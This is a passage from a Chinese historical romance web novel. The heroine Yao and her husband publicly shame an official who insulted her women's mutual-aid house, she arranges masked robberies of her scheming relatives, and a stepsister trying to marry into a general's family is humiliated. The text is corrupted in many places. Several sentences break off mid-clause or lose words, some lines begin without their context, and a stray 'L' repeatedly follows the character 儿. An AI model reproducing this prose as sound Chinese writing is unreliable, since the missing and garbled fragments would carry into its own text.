因为慈济院的事她没少跟顾允潇争吵,后面以她低头结束,香雪楼刚开起来她就想来了,但怕与顾允潇争吵,她就憋着没提。
今日集会,她本来以为也没希望,谁知道顾允潇主动提及,还要亲自送她过来。
她以为是顾允潇有意求和,谁知道一到地方,顾允潇就要硬闯香雪楼。
说香雪楼不让男子进入一定是其中有鬼,宓瑶心思不纯,借着互助的名义鼓动良家女子做见不得人的勾当。
这些难听话,季婉芸听得羞耻至极,知道自己给互助会的姐妹们带来了麻烦,只能拼命把顾允潇往回劝。
触到季婉芸愧疚的目光,宓瑶倒是觉得有些难办。
她一开口铁定不会给顾允潇留任何情面,但季婉芸又是个好的,她当众把顾允潇骂成孙子,季婉芸也跟着丢人。
“季娘子,
只能说齐娘太清楚宓瑶,瞅着主子的眼神,就知道主子有什么顾忌,手一捞就把季婉芸先哄走了。
“我娘子不会踏入这污秽之地,我到一起,你这般,能是什么好女子!”
感觉,但听到不尊姐姐,宓瑶眯了眯眼,瞧着顾允潇脸上的愤慨,。
慈济院大门口丢了人后,虞家人就没再来烦她,但也没有离开益州。
知道他们是贼心不死,没想到虞,还为她出起了头。
“只进女客的地方是污秽之地,那你这个由女人癸水来潮之处生的玩意,是个什么玩意。”
“你!”
听到宓瑶的话,顾允潇愣了几息才反应过来她说了什么。
方才她当众说女子□□,又提癸水,他已经觉得恶心至极,不明白宓瑶美若天仙,怎么开口说的话如此不堪入耳。
没想到宓瑶还能说出更下流之语,就是市井泼妇都不会如她这般粗俗。
“你这般算什么世家女,怪不得会与姐妹不和,简直下流!”
“怎么就下流了?难不成你并非女人所生,而是处处高洁的男人生出?”宓瑶面带疑惑地顿了顿,“据我所知男人能生东西的地方可就一处。”
“哈哈哈,一处也够了,只要能生,顾郎君定然不会嫌弃,总比是从女子肚子里出来的好,若是顾郎君是女子所生,定然觉得丢人到难以存活于世,恨不得当众抹脖子!”
随着齐娘的调侃,周围的娘子们也遮唇轻笑了起来,季婉芸虽然觉得难堪,但也觉得爽快,跟着一起低了头,怕被顾允潇看到她的笑脸。
“你们竟敢如此对我!”
顾允潇到了益州后,作为赵天赫看好的人才,人人都捧着他,顾允潇早就忘记了他在江南初出茅庐时的受挫。
再者就算他在江南时没人把他当回事,也不会有人像是宓瑶这般对他说话那么难听,让所有人看他的笑话。
“怎么对你了?污秽这话不是你说的?”
宓瑶冷声反问,“女子来潮怎么就污秽了,若是女子没有癸水,便说女子是石女,是天罚之人,女子有了癸水,又会被你们这些下贱小人说是污秽,会使你们走霉运,怕你刚刚没听完,我与你再说一次,我方才说的没本事的男人就是说你,救养孤儿会沾上霉运?真该让剑南军都听听你这话,他们为了守护剑南安宁舍了命,就让你这玩意活在世上。”
第85章 第八十五章【VIP】
宓瑶话落音,周围一片哗然。
连带顾允潇也无法保持镇定。
他对慈济院再看不上,也不会蠢到到处说慈济院的孤儿L是天煞孤星。
顾允潇看向季婉芸的方向,却发现她已经躲进了屋内,不打算解释她弄出来麻烦。
此刻他无比后悔当初虞佳音就是不愿意嫁给他,他也不该随便选了季婉芸,不能给他带来多少助力不说,还不懂得内外之分,帮着外人找他麻烦。
“怎么?顾郎君不会要否认自已说过的话吧?”
看顾允潇的神色,宓瑶眉梢微挑,面上多了几分灵动的娇俏,声音也故意轻柔,糯叽叽地追问,“啊,顾郎君不是顶天立地的男子汉吗?不会做那么上不了台面的事吧?”
宓瑶的嗓音动听,若是平日顾允潇听到她如此跟他说话,他定然觉得通体舒畅,但这会听到他面色憋得通红。
“误传的谣言,不信你叫季婉芸出来,让她来与你们解释。”
“顾郎君不是文官?才高八斗,怎么解释个谣言,还需要躲在自家娘子身后。”
人群中一位夫人看不惯顾允潇的样子,插嘴说道。
她说完立刻又有其他人接话:“顾郎君声音这般大,凶神恶煞的叫自已娘子的名讳,不会是恼羞成怒,没办法对我们以理服人,就打算对季娘子动手了吧?”
“说不过就打自家娘子出气,好一个才高八斗的男子汉。”
“你们!”
顾允潇没想到除却宓瑶,其他益州娘子也那么牙尖嘴利,果真是蛮荒之地,哪怕是贵夫人也都一个个是上不了台面的泼妇。
“我一开始便不该让我的夫人加入你们这个什么互助会!这香雪楼是什么地方,谁不知道,这两个侍女都是什么脏污东西,你们竟然让她们伺候左右,可想而知……”
“顾郎君之前夸我才貌双全,让我在你身旁伺候酒水,可想而知,是而知什么?”
没等顾允潇说完,侯敏上前一步,美目直直看向顾允潇。
她知道她与春景楼的其他娘子都没有什么好名声,宓瑶为了留下她们费了不少功夫,原本看到顾允潇她还低头躲闪,怕被顾允潇认出,给宓瑶带来麻烦。
现在听到这里,她实在忍不住了顾允潇给宓瑶的互助会泼脏水。
哪怕今日之后她要离开宓瑶身边,也不想听顾允潇在这故作高洁。
挺直背脊,侯敏低眸看到宓瑶在她颤抖的手上拍了拍,知道宓瑶是表示要给她撑腰,侯敏的紧张散下去不少。
“既嫌我们污秽,顾郎君为何还要我们姐妹伺候你,不会是觉着物以类聚,若是这般,我们的确没资格伺候品行高洁的夫人们。”
“你一个妓子,竟然敢这般与我说话,你是受何人驱使!”
顾允潇方才的确没注意到侯敏,但如今见她站出来也不惧,谁会在乎一个下等人说什么。
见她是从宓瑶旁边站出来,才来了怒火,恶狠狠地看向宓瑶。
“萧夫人你先是唆使我的夫人不守女德,又造谣毁坏我名声,现在又弄出个下人来以下犯上,竟敢在众目睽睽之下开口侮辱我,萧夫人你意欲何为!?难不成要我去找萧镇使,你才能收敛,知道自个有错!”
“我夫人有何错?顾长史,不是每个男子都与你一般,无理论不过就找自家夫人出气,要不然就找别家夫人的夫君。”
萧欻今日休沐没什么事,送完了宓瑶,想着时辰还早,就打算去近处军所巡视,而没到地方就听闻了顾允潇找茬,赶过来在旁侧听了半晌她家夫人骂畜生,此刻才站在了宓瑶旁边。
夫妻俩对视了眼,萧欻才重新看向顾允潇,只是目光完全不同。
不耐与戾气都挂在了面上:“顾长史要找我,如今我自个出来,你是打算跪着给我夫人致歉,还是要继续嘴硬。”
顾允潇听过萧欻爱妻的传闻,就跟宓瑶是神女化身一样,他都当做谣言在听。
能到走到这个位子,又是个草莽出身的武官,说萧欻懂得吃他能信十分,说萧欻懂得爱,他只觉得是装模作样。
估摸是知道赵天赫没有亲生子女,爱重原配,所以投其所好,讨好赵天赫。
“萧镇使确定要如此不识好人心,你的夫人不尊长辈,辱骂堂姐,如今又弄了那么个香雪楼,你就不觉得耻辱?”
“你记错了,结,煽动人心被我送到了官府,怎么,顾长史也对节度使的命令有异,?”
萧欻话落音,在所有人惊讶的目光中,倏然抬脚,一,若不是有人群遮挡顾允
“至于羞耻,你当众为难侮辱我的夫人,我若是不教训你,的确该感到羞耻。”
“你!”
顾允潇出声想骂,太重,他一说话,就开始猛烈的咳嗽,但偏偏他的身体又没差到极致,所以怎么咳,也没咳出血,只
被家仆抬走前,还落了个“没出息学女人装柔弱”的评价。
,离开的也快。
见顾允潇被抬走,与其他夫人说了声别因为无谓的人坏了心情,就把宓瑶拉到了角落。
“萧镇使是偷偷与嫮嫮说了什么,是不是甜言蜜语哄了嫮嫮别气?”
萧欻一走,夫人们就开始打趣了起来。
宓瑶被她们调侃,知道她们不信,还是实话实说道:“他只是让我先忙。”
话说出来,果真没人相信。
“只是让你先忙,哪会需要那么久,我隔着那么远瞧你们,都能瞧出萧镇使看嫮嫮你的目光,柔的要滴出水。”
柔的滴出水?
宓瑶回想了下萧欻的目光,真没觉得哪儿L柔了,分明是热的烧干了水。
方才萧欻真没跟她说什么,就是让她先忙,不必担心顾允潇。
他就是不说,她也担心不了顾允潇,一个得志的小人,他要是赵天赫在外头的私生子,她可能忌惮一二,一个还在考察期的官员,估计是被虞佳音捧了几句就没了头脑。
想到虞佳音,宓瑶眼眸精确捕捉到了甄婧。
甄婧知道瞒不过,只有低声与宓瑶说了始末:“你兄长晓得这事就教训了二姐,但二姐反倒骂你兄长多管闲事,直接从我们的住处搬了出去。”
如此不要脸皮,虞少阳气得不轻,但他找虞成达,让虞成达以长辈的身份阻止虞佳音丢丑,虞成达则是当做没听见。
“公爹在来益州的路上买了个伺候的丫鬟,到了益州,去旁人家做了几回客,前几日又弄了个妾侍在身边。”
原本她觉得她这个儿L媳妇不好一直躲在萧府,让人知晓少不得有人说她不孝,但见虞成达才来益州一个多月,便弄了几个女人夜夜笙歌,她实在恶心,就不愿再管别人怎么说她。
“有了美人,公爹每日都忙的脚不沾地,不是陪美人聊天,就是跟邀他喝酒的人高谈阔论。”
“虞家主家让我爹过来就没指望他能打通什么上台面的关系,不过就是让他以身份压着我和阿兄,好看看我们能退到哪一步,琢磨着我们在这能给虞氏带来多少好处。”
宓瑶能理解虞少阳拿虞成达没办法。
她是外嫁的女儿L,虞少阳是儿L子,而且从小受的还是士族教育,能不听虞成达的话,不把虞成达当回事已经厉害。
“你兄长想用钱财拿捏他们,但他们是直接从主家拿钱。”
虞氏哪怕现在日落西山,那也是世家,瘦死的骆驼比马大,给虞成达他们几人足够的钱财还是没问题的。
若不是想靠虞少阳的官职,几人怕连大宅子都租了,不会再龟缩在虞少阳那间小二进的宅子。
“想拿钱拿捏他们还不简单。”
见甄婧愁眉不展,宓瑶根本没当回事,他们不需要虞少阳给钱,那就让他们变得只能从虞少阳这儿L获得钱财不就行了。
宓瑶叫来齐娘低声吩咐了几句。
听完齐娘拍了拍胸膛:“夫人放心,抢劫我是专业的,定然让他们身上一个铜板都剩不下来。”
“你与濮青商量着做事,多带几个人蒙个面,随便扯个名头,他们猜到是我是一回事,你们从头到尾别留了把柄。”
“夫人放心!”
齐娘领命去办事,甄婧在旁边看的目瞪口呆,她怎么也没想到还能这般。
但仔细想想,能直接抢自然爽快,就像是萧欻踹顾允潇那一脚一样,比说多少话都能解气。
第86章 第八十六章【VIP】
宓瑶和甄婧从隔间出来,正好碰到了侯敏在跟季婉芸道歉,两个女娘你一句我一句,都是觉得对不起对方,旁边性格爽利的夫人听见,不由开口:“跟你们俩有什么关系,错的是想把罪责都推到女子身上的男人。”
“熊姐姐说的是,我原本觉得我做了件好事,你们这般怪来怪去,倒让我害怕起来,怕我误会了自己,实际上我是做了错事。”
“夫人哪里有错,夫人是天底下最好的人,若不是夫人我根本没有胆量反驳顾郎君。”
侯敏急忙说道。
季婉芸也跟着摇头:“这事往谁身上怪罪,都怪不到虞夫人的身上。”
“这不就得了,咱们都没错,咱们能有什么错,好端端的聚会被一个蠢男人扰了兴致,我看你也别急着回去,你这会回去,你相公少不得找你麻烦。”
熊雪娇推着季婉芸入席。
经过香雪楼开张前互助会又一次退会洗牌,如今留在互助会里的都是不怎么在意旁人言语的娘子们。
顾允潇的话伤害了零个人,反倒让她们的关系更紧密了。
“萧镇使才是真男人,顾郎君……唉。”
顾忌着季婉芸在,局上的人想说人什么又忍了回去,只是转言夸奖侯敏:“你今日出头说的那些话没错,男人喜爱美人的时候,不说什么污秽,她们不捧着他们,来围着我们女人了,便有了一套套的大道理。”
熊雪娇接话:“可不是,赵家旁支弄春景楼,挂着羊头卖狗肉,顾允潇既然来过,便是明知这里是做什么却瞒着不说,让春景楼在正街上存在了那么久,他走时还一副我们要倒霉模样,我看他才是真的要倒霉了。”
宓瑶见季婉芸坐的不自在,熊雪娇开口前,她就把她牵到了隔间。
只是熊雪娇声音不小,她们在隔室也能清楚听见。
“今日事算不上大事,顾郎君就是受罚也不会被重罚。”
是的,宓瑶压根没想过萧欻踹那一脚会让顾允潇变成受害者。
益州经过之前赵家旁支引起的乱象后,拔除了不少存有异心的官员,如今整个剑南都知道萧欻是赵天赫选定的继承人。
当然赵天赫还有其他受重用的养子,且没到赵天赫死的那日,谁知道赵天赫会不会弄出几个私生子来。
反正不管私底下如何想,萧欻都成了面上的少主。
而这种情况下,剑南官员又开始分裂成了几个派别,其中有两种,一种是提早站队,讨好萧欻,另一种是嘴上说拥护赵天赫命令,但行为上却不断找萧欻麻烦,以各种方式证明萧欻没有本事,不合适做这个少主。
后一种的文官偏多,从萧欻的出身到政治素养,样样抨击,顾允潇就是其中之一。
这一个多月萧欻算起来比她还要忙碌,却还能分出空闲缠着她,用的就是两人都在府邸时,他拿着公务黏在她身边处理。
所以她被迫晓得了不少如今的局势。
萧欻今日踢出这一脚,应该是有跟文官阵营开战的意思,可以有谏言,但一直把他当孙子骂,他也不反击就是太给那些人脸了。
“我知晓夫君与虞二娘子的事,原本见两人来往,我想着夫君以往求娶虞二娘子不成,如今虞二娘子有意,不若成全了他们,抬*了虞二娘子进府做贵妾。”
季婉芸原本不想与任何人说这事,特别虞佳音还是宓瑶的堂姐,有些话说了,像是她在怪罪宓瑶。
但宓瑶在互助会就是主心骨般的人物,她当初就是羡慕宓瑶的雷厉风行,说话大胆才入的会,这会两人面对面,这些日子的委屈,她不自觉都倾泻而出。
见季婉芸话没说完,眼里就先含了泪,宓瑶牵着她坐下。
“他们做错事你替他们哭什么,要把受的委屈讨回来才是。”
“我要是有虞夫人你的性子就好了。”
她知道顾允潇偷偷在跟虞佳音来往,怎么不想讨回公道,但想到顾允潇的性子,她就觉得还不如成全了他们,她也能少些麻烦。
“是我想的轻松,我只想着我退一步就是,谁知道我一提我相公就怒骂了我一遭,说我侮辱了虞二娘子。”
乍然被骂,她根本不明白自己错在了哪里。
后面仔细琢磨,她才明白了顾允潇的意思。
室好,但在顾允潇眼里,贵妾也配不上虞二娘子,得要我把位置让出来才对。”
说到愤怒处,季婉芸嫌恶心,不再叫顾允潇相公,而是直呼其名。
宓瑶为她递上软帕:“你是如何晓得他与
拭去泪痕,季我是益州本地人,当年嫁到了顾家,因为顾允潇调职又与他一同回了益州,我的亲戚都在这处,所以顾允潇做什么,
说着,季婉,眼泪越冒越多。
宓瑶自个不喜欢掉眼泪,但看其他美人眼落珍珠,倒是觉得画面挺美。
季婉芸皮肤白皙,一哭就皮肤泛起淡粉,脆弱的犹如玉瓷。
欣赏了片刻,宓瑶才想起了正经事,搂着香喷喷的美人哄了哄:“说实话我真不懂你是为何觉得羞愧,你的族人都在这里,这就是你的地盘,顾允潇与虞佳音欺负你,你不利用你本地人的身份给他们好看,反而被他们欺负的嘤嘤叫,不是太浪费了。”
被宓瑶拢入怀中,季婉芸觉得有些不自在,但见宓瑶神色如常,杏眸柔软,季婉芸抱着她又哭了一场。
“哭可以,但哭完了之后得去回击,顾允潇算个什么,你若是还打算与他过,就把他管成耗子,让他瞧见你就胆颤心惊,一个外地的男人,哪怕是官也是个孤立无援的官,你与你亲人说说他的得寸进尺,让他们晓得顾允潇把季家的脸面踩在地上,难不成他们还不站在你这边。”
宓瑶不清楚季家族人对外嫁女的态度,让她看,娘家得力最好是直接和离了,但若是娘家觉得和离丢人,那就用宗族利益说事。
顾允潇明显想给虞佳音正妻的位置,那季婉芸这个占着位子的,要么就是死要么就是被休。
那么一想,宓瑶眉心微蹙:“你府邸里的下人是听你的还是听顾允潇的?他不会为了给虞佳音腾位置,给你下毒吧?”
宓瑶的问题让季婉芸呆愣。
她只想过顾允潇想休了她,没想过他会对她下毒手。
她与他可是有两个孩子。
“怎么不可能?做妾是侮辱了虞佳音,那外室就光彩了?没名没分的,顾允潇愿意,虞佳音可不会愿意。”
虞家把虞佳音弄过来是打通虞家在益州的人脉,当顾允潇的继室算是人脉,外室那就纯粹是丢人。
想到虞家除了派虞佳音,还送了两个适婚年龄的男女过来,宓瑶摸了摸怀中季婉芸柔顺的头发,离开了香雪楼就让濮青去查虞倚晴和虞少庆的行踪,她不信他们两人能老老实实地在益州待着。
第87章 第八十七章【VIP】
“虞倚晴在接触岳晋?”
想着虞倚晴不会老实,但宓瑶没想到她会不要脸成这样。
一个未曾嫁过的闺秀,在晓得男方有夫人的情况下,制造巧遇,见巧遇无用又去讨好男方的母亲。
不知她来时虞家主宅的人是跟她说了什么,能让她那么作践自己。
“鄢夫人应该还不晓得这事,但岳镇使亲娘像是已经认可虞十四娘子,邻里说虞十四娘子是她儿媳,她也没否认。”
濮青把自己打听的事说了出来,他真不懂虞倚晴是怎么想的,好歹是个出身世家的贵女,竟然做这种上赶着的勾当,“夫人,虞十四娘子看着不像是要做岳镇使的妾侍。”
听到濮青提醒,宓瑶轻呵。
从虞佳音她就看出来了,这两个虞家姑娘干得都是自轻自贱的勾当,但却有比天高的心气。
虞佳音住着顾允潇给她置的宅子,任谁看她都是在当顾允潇的外室,可虞佳音自个却是在想赶快弄死季婉芸,好做正经的顾夫人。
而虞倚晴的想法应该也差不离,又是巧遇又是讨好,但想做的却是镇使夫人。
“她怎么会想做妾,她找上岳晋就是因为岳晋的职位,她想同我一样做镇使夫人,好让我瞧她多有本事,做着我在她面前低头的美梦。”
“这……”
要是虞倚晴真那么想,那真是蠢到没法了。
镇使与镇使也有不同,虞倚晴就算真成功的嫁给了岳晋,身份地位也不可能比上夫人,只是鄢夫人与夫人是好友,虞倚晴这般做能恶心到夫人就是。
不过岳镇使与鄢夫人感情甚笃,不可能叫她得逞。
“她是直接找上了岳晋还是如何?”
宓瑶想了想,觉着虞倚晴应该没傻成这样,然后就听到了濮青说虞倚晴在节度使府门前晃过几天。
顿时觉得无语。
看来虞倚晴开始的志向十分高远,实在碰不到赵天赫,才降低目标,换成跟萧欻同官职的岳晋。
“属下还以为她去节度使府是想找节度使告状,没想到……”
濮青都不知该如何评价虞倚晴了,“夫人,可要属下去阻止虞十四娘子?”
“你如何阻止?打断她的腿,还是骂她一顿让她知丑?”
濮青被宓瑶问的抓了抓脑袋,他一个家奴,哪能骂虞家的娘子,他的想法自然是偷偷把腿打断,好让虞倚晴少作妖。
“不必管她,她在岳老娘那里应当讨不到什么好。”
岳晋由寡母抚养长大,鄢妘跟她提过,岳老娘没住在城中,而是岳家老宅住着,平日的爱好就是种田与朋友们聊天。
岳老娘与鄢妘的关系不错,虽然是寡母对亲儿子并没有占有欲,不然也不会不跟儿子儿媳住在一块,反而选择自己独居。
不过这事她打算与鄢妘提一提,她与虞家姐妹关系不好鄢妘她们都有察觉,但虞倚晴再怎么说都是她妹妹,她得表明立场,免得影响她与鄢妘的友情。
“让你安排的‘劫匪’安排的如何?”
说到这个濮青嘴角咧开,笑的牙花子都露了出来。
“属下派人已经抢过四人一次,但看样子他们身上还有银钱,等到他们出门,属下会派人再去要银子,等到把每个人搜刮干净。”
抢劫这行为让人觉得不齿,可若是主子吩咐的抢劫,抢起来就过瘾了。
他与其他部曲蒙着面看着嚣张的四人瑟瑟发抖,掏出银钱奉上,感觉实在太爽。
再者夫人大方,抢劫来的钱财会拿出大部分当做赏银,现在第二轮抢劫搜刮在府里是谁都想去干的香馍馍。
“没了银子,自然就会老实。”
肯定了濮青的办事效率,宓瑶给鄢妘下了帖子就换衣出门。
濮青看着宓瑶风风火火的背影,觉得府中现在一切好像是反过来了。
夫人日日出门忙碌,主子的时辰反而多了起来,每日陪着郎君娘子们用三餐,还会带着两个郎君早上晨训。
前两日他还见着二郎君牵着主子的手走路,这放在以往怎么可能。
府中有眼睛的都明了主子的改变是因为夫人,可夫人这边好像没什么动静,只是主子踢了顾允潇,在朝会上被文官攻讦后,用饭时给主子碗里夹了根鸡腿。
他会晓得这事还是因为二郎君跟小娘子来回抱怨。
“阿爹的手那么长还要娘亲夹菜,膊一定累累了。”
萧善接话:“坏阿爹!”
“阿爹不坏,
“不懂事!”
亲爹,被他听个正着,他跟着两人,发现他们的教训就是在主子面前瞪着水润干净的圆眼,然找夫人。
他没成家不懂得夫妻间如何才是对,可想想主子与夫人这般,该是越来越好。
比起夫人刚来时,么爱对主子娇笑,却与主子更像是一家人。
*
“嫮嫮……”
宓瑶找鄢妘说虞倚晴的事,谁想到鄢妘第一反应不是担忧自己的地位,也不是恶心虞倚晴,而是眼泪汪汪地抱住了宓瑶。
有美人投怀送抱是好事,但总得有个缘由。
宓瑶抚摸着鄢妘后背:“这是怎么了?别说你是怕了虞倚晴,因为你婆婆默认她是儿媳觉得委屈。”
“我婆母不是那般的人,她不至于把我当亲生女儿,但也想着我和岳晋能好,不若早就用我迟迟没有怀孕的事往府里塞人。”
鄢妘坐正,瞧着宓瑶比之前尖了一些的下巴,“我是觉着嫮嫮你太辛苦,有慈济院与香雪楼要忙,血缘姐妹竟然还如此。”
虞家来人的事益州的人家都晓得,大家都是在看宓瑶与萧欻的态度。
夫妻俩没让虞家人进萧府大门,就筛掉了一批会与虞家人来往的人家。
而后萧欻发怒,毫不留情面地把虞佳音送官查办,又筛了一批。
如今虞家五人能接触到的人家境况都一般,几乎都是不能直接见到宓瑶与萧欻本人,所以才想从虞家几人身上碰机会。
宓瑶没有带虞倚晴结识益州夫人的意思,互助会的姐妹知道其中有问题,默契的都没有开口询问。
想等着宓瑶自个开口说。
谁知道她一说就让人止不住心疼,有虞佳音的堂姐,还有虞倚晴这样的嫡妹,鄢妘难以想象宓瑶以前在虞家时受了多少委屈。
“她们丢的不止自己的脸面,还有你的脸面,婉芸与爹娘商量后有和离的意思,婉芸想把孩子带走,若是想带孩子,定要把顾允潇和虞二娘子的私情闹大,还有他们是否有合谋下毒的意思……”
鄢妘越说眉头皱的越厉害,她不觉得季婉芸这般做有什么问题,反而跟宓瑶一样支持她。
但问题是虞佳音成了毒妇,虞倚晴在自甘下贱。
她们毁坏的名声都会连累到宓瑶身上。
“不能这般!”
鄢妘越想越受不了,干脆拉着宓瑶站起,“我们去见我婆母,得阻止虞十四娘子继续犯傻。”
宓瑶对于名声这个事情并不在意,名声与权力挂钩,在最高掌权者是维护她的态度下,她就是给虞倚晴她们两巴掌,也是大义灭亲,铁面无私。
但她的确有些好奇,虞倚晴现在在如何讨好岳老娘。
若是岳老娘真像是鄢妘说的明理当然好,要是真被虞倚晴的三言两语给哄了,也好早做打算。
两人上了出城的马车,花了快两个时辰终于到了岳家老宅,看到了站在粪里的虞倚晴。
看到虞倚晴脸颊上沾着的像泥土散发恶臭的痕迹,宓瑶捏住了鼻子,拉着鄢妘往后退了七八步,恨不得现在就上马车返回城中。
第88章 第八十八章【VIP】
岳老娘种了一片菜地,用的是粪肥。
也不知道岳老娘怎么说通的虞倚晴,让她愿意挽着衣袖裤脚下地施肥。
反正宓瑶她们瞧见她的时候,她应当是在地里摔了一跤又站起,满身的恶臭,多看一眼都让人觉得脏了眼睛。
“你们怎么会在这里!”
虞倚晴本就恶心的受不了,没想到一抬头就看到了宓瑶,更是欲哭无泪。
她这丢丑的样子谁看到都好,就不该让宓瑶看到。
“乖儿媳来了!”
岳老娘原本坐在棚子下监督虞倚晴干活,见到鄢妘,快步走到鄢妘面前把她上下打量一遍,见人没有愁眉不展,不像是听到了什么乱七八糟的风声因为误会赶来,松了口气。
“娘,我来给你请安。”
鄢妘说完,侧过身介绍宓瑶,“娘,这是我与你提及过的好友嫮嫮。”
“见过岳伯母。”
“好好好,都是好孩子。”
岳老娘笑眯眯地一手拉着一个,“外头脏污,咱们进门喝茶吃点心去。”
“干娘!”
虞倚晴见宓瑶对她视而不见,岳老娘也没有提她一声的意思,不知怎么心中有些慌张,叫完岳老娘,看向宓瑶:“四姐姐,你怎么来了?”
她说完,就见宓瑶毫不避讳地遮住了口鼻:“别与我说话,臭死了。”
虞倚晴面色涨红,她见过宓瑶不给虞佳音面子,如今轮到了她,她算是感同身受了虞佳音的难堪。
“鄢姐姐……”
虞倚晴试图跟看着和善的鄢妘搭话,但鄢妘直接牵着岳老娘随着宓瑶进了屋,根本没有搭理她的意思。
连被落了两次面子,虞倚晴恨得咬牙切齿,走出田地时还脚滑摔了一跤,灰头土脸地趴在地上,捂着脸嘤嘤哭了起来。
听到屋外的哭声,岳老娘给两人拿了茶点:“别管她,这都是她该受的。”
听到岳老娘如此看得明白,宓瑶笑了笑,彻底不用担心虞倚晴会在岳老娘这里讨到什么好。
“娘,虞十四娘子是何时来的?娘怎么不与我说一声。”
鄢妘知道岳老娘闲不住,没办法让她停下,只能帮着她取茶叶泡茶,等到一切做好后,才扶着她一同坐下,朝她问道。
“来了有半个多月了,一瞧见我就说什么一见如故,说我像她娘,想跟我亲近。”
岳老娘一脸嫌弃,她有个镇使儿子谁不晓得,往年讨好她的人不少,发现从她这里讨不了好才散了,如今又送上门来一个虞倚晴。
“她一抬脚我就知道她放什么屁,有人送上门把我当亲娘孝敬,我就替她老娘享受那么一回,她开始倒是能带些礼拿些钱财来,这几天说是被抢了没了银子,既然没银子孝敬了,我就让她替我种种菜。”
“伯母英明,她既然送上门,伯母不接受实在浪费。”
听到虞倚晴这些日子的快乐生活,宓瑶翘着嘴直乐,要是李氏知道她疼爱的亲女儿在孝顺旁人,估计能气的几日睡不着觉。
“她说她是什么虞家嫡女,但我见她那个德性实在不像是什么世家贵女,哪怕是也跟嫮嫮你没甚关系。”
岳老娘知道宓瑶,就是因为儿媳不停夸赞,听到虞倚晴说自个是宓瑶的妹妹,她先是觉得虞倚晴在胡乱攀扯,后面看出虞倚晴像是真有些身份也没当回事。
这般厚脸皮送上门的丫头,就算真是宓瑶的妹妹,也是个坏妹妹。
该被狠狠教训一顿。
“伯母不必忧心,我跟她关系差得很,见她过得不好,我就舒心了。”
虞倚晴怕宓瑶她们在岳老娘面前挑拨关系,趴在地上哭了两声,见没人理她就匆匆换了衣裳梳洗。
等她赶到大厅,果真听到了宓瑶挑拨。
“四姐姐你怎么能这般说,我可是你嫡亲的妹妹啊!”
虞倚晴眼眸含泪,脸上十分的委屈。
她觉着她与宓瑶关系不好,那都是私底下的事,她不会在外人面前说宓瑶的坏话,尊她为姐姐,她却在外面如此不给她这个妹妹留面子。
“是继母生的妹妹,在我看来我的手足只有我阿兄。”
宓瑶没被虞倚晴眼中的泪珠打动,反而觉得厌烦,“我以为你看多了虞成达的花心,别的不懂,至少懂得当以色侍人的妾侍没有好下场,你如今是在做什么,死皮赖脸的送上门。”
“四姐,讳,这要是让人知晓,四姐你的名声就坏了。”
,哭哭啼啼指责宓瑶不孝,见没人理她,她干嚎着没劲,才呐呐地停了下来。
“干娘你别误会,我四姐性子霸道,但本性不是坏的,,是嫁给了萧镇使之后就忘了形,干娘你不知我爹刚到益州时,四姐竟然把阿爹赶出萧府,这些。”
虞倚晴怕岳老娘听信了宓瑶的挑拨,让她这些日子的讨好成空,伸手去拉岳老娘的衣摆。
谁知岳老娘竟然打掉了她的手。
,倒是你在这儿阴阳怪气,当老娘听不出来?!”
“干娘?”
虞倚晴一脸震惊,平日里岳老娘都是对她笑眯眯的模样,夸她乖巧,这几日她没银钱带礼物来了,岳老娘虽然对她不耐烦了一些,但她做了事后,还是会给她倒凉茶,说她是好娘子,想要她这般的儿媳。
“干娘这是怎么了?我是什么品性你还不晓得,怎么能听外人几句挑拨就误会我。”
“我可没误会你,你可不是死皮赖脸送上门让人糟践。”
岳老娘性子利爽,早就看不惯虞倚晴时不时颠倒黑白阴阳怪气两声,她动不动拿鄢妘还没生育说事。
却不知道她是三十多岁才生的岳晋。
在她看来就是岳家的根出了问题,她婆婆就生了一个,她也只生了一个,而且都生的艰难。
她婆婆在世时没少磋磨她,说她身体出了问题不能帮岳家开枝散叶,那时候岳家穷得叮当响,她婆婆还给儿子买了个妾。
谁知道那妾也没生。
这说明什么,说明岳家的男丁有问题,所以岳晋与鄢妘成婚两年没有身孕,她根本不在意,反倒虞倚晴动不动拿开枝散叶说事,让她想到了到死的前一天都在磋磨她的婆婆,让她不知道翻了多少白眼。
“李氏就你一个女儿,为了你能压我一头,在府邸时不知道给我使了多少绊子,她想嫁让你嫁个好人家,但明知虞家送儿女到益州是为了联姻,而虞成达又是个不靠谱的,你来益州是觉得我在这边过得好,主动要求,估摸着她应该还有劝你别来。”
宓瑶说着,触到虞倚晴脸上的心虚,就知道她说对了。
虞佳音和长得与她相似的十七娘是虞家主动选好送到益州的娘子,但虞倚晴这个二房嫡女,既没明确的目标,怎么看都像是自己来的。
“好好的虞家贵女不做,想要做妾,你不是自甘下贱是什么。”
“谁说我要做妾了!鄢氏嫁给岳大哥那么多年都未生育子嗣,干娘早就认了我是儿媳!”
虞倚晴被宓瑶骂的头脑发胀,也不管鄢妘是不是在这里,张口就来,“我们都是虞家嫡女,你能嫁镇使,我怎么就不能嫁了。”
岳老娘与宓瑶一人一句,鄢妘没有插话的机会,就一直在旁捧着茶杯,见虞倚晴把火扫到了自个身上,才缓缓开口。
“十四娘子估计是误会了,阿娘除却夫君还收了一个义子,她说认你为儿媳,说的应该是伍弟弟。”
岳老娘在旁点头:“可不就是,我还让小伍来瞧过她,因为小伍对她不算满意,我才想多调教她几日,再撮合他们见面。”
听到小伍这个称呼,虞倚晴面色难看。
她日日来讨好岳老娘,自然知道岳老娘有个傻子干儿子。
那儿子个子矮小一脸痴相,有几次两人遇到,他一直盯着她瞧,还流了口水,她吓得骂了那人一顿,还被岳老娘训斥,说她不好好讨好那傻子就别再上岳家的门。
因为这个她还送了几次点心给傻子。
现在听到岳老娘是想撮合她和那个傻子,虞倚晴一身的鸡皮疙瘩:“你们怎么能如此!我是虞家女,岳晋配我只是勉强,你们竟敢如此欺辱我!”
“我呸,你是什么玩意,我儿配你还勉强?!你连我儿媳的一根脚趾都比不上,还看不上小伍,小伍还看不上你这种送上门的下贱货。”
岳老娘的呸是真吐口水,虞倚晴被腥臭的吐沫喷了一脸,恶心的尖叫起来。
瞧她这个样子,鄢妘有些不忍,干脆让她死了心:“至于子嗣,十四娘子就不必操心了,我已有身孕,不需要十四娘子代劳。”
“就是,我儿媳有了——啊,妘儿你有了!”
岳老娘一脸惊喜,“我就说你帮着做善事有好处,你与嫮嫮救了那么多孩子,送子观音怎么舍得薄待你们。”
听到儿媳有孕,岳老娘乐的找不到北。
宓瑶见虞倚晴死死盯着鄢妘的肚子,怕她发疯,直接让齐娘把人扔出了宅子。
“今日过后,益州城内就会传遍你不要脸皮讨好岳晋母亲,被他母亲配给了痴儿,若是你还要脸,还是快给你娘去信,让她早早把你接回江南。”
